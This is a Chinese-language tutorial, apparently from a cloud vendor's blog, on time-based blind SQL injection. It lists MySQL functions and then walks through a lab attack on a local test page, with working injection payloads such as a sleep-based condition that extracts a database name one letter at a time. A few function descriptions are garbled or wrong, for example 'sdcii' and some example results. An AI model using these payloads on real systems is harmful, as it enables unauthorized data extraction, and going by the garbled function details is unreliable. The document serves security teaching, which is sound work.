大數(shù)據(jù)中基于時(shí)間盲注的實(shí)例分析

大數(shù)據(jù)中基于時(shí)間盲注的實(shí)例分析，針對這個(gè)問題，這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答，希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡單易行的方法。

一、函數(shù)介紹

1、sleep(5)：暫停5秒再返回結(jié)果

2、if(條件，表達(dá)式1，表達(dá)式2)：如果條件為真，返回表達(dá)式1，否則返回表達(dá)式2

3、substr('admin'，2，3)：從第二個(gè)位置開始截取長度為3的字符串，即dmi

4、substring('admin',2,3)：效果和上面一樣

5、substring('admin' from 2 for 1)：截取一個(gè)字母，省略了逗號

6、substring('admin' from 2)：從第二個(gè)字母開始截取

7、substring_index('1223334444','4',3)：截取到4出現(xiàn)的第三次，即12233344

8、rlike '^12' 或者regext '^12'：正則判斷是不是從12開頭的字符串  例子：select * from user where pass regexp '^12';

9、case when...then...end：判斷條件，如果查詢有結(jié)果返回，否則返回什么，例子：select case when username='admin' then 'admin' else 'xxx' end from user; 

10、sdcii()：獲取字母的ASCII碼

11、benchmark()：重復(fù)執(zhí)行，例子：benchmark(10000000,sha(1))

12、select count(*) from user a , uer b ;  select count(*) from user 得到結(jié)果再乘以結(jié)果

13、mid()：截取函數(shù)，mid("aiyoubucuo",1,1)mid("aiyoubucuo" from 1 for 1); 結(jié)果都為1

14、left()/right()：從左/從右截取的字符串 left("aiyou",1) right("aiyou",1)

15、ord():ord("abc")，返回結(jié)果為首字母的ASCII碼，a

16、asc/desc：升序/降序排列  order by id asc；

二、實(shí)例操作

1、訪問：http://192.168.152.128/aiyou/1.php?id=2

2、構(gòu)造條件語句：

http://192.168.152.128/aiyou/1.php?id=2' and 1=1 --+

3、判斷數(shù)據(jù)庫名稱

將條件改為：if(ascii(substr(database(),1,1))=97,sleep(4),null)，如果數(shù)據(jù)庫的第一個(gè)是a,就暫停4秒

不停修改數(shù)字，直到106，發(fā)現(xiàn)停留了4秒，說明數(shù)據(jù)庫的第一個(gè)字母是j

再將1修改為2，判斷數(shù)據(jù)庫名字的第二個(gè)字母，發(fā)現(xiàn)正好是a

關(guān)于大數(shù)據(jù)中基于時(shí)間盲注的實(shí)例分析問題的解答就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，如果你還有很多疑惑沒有解開，可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識。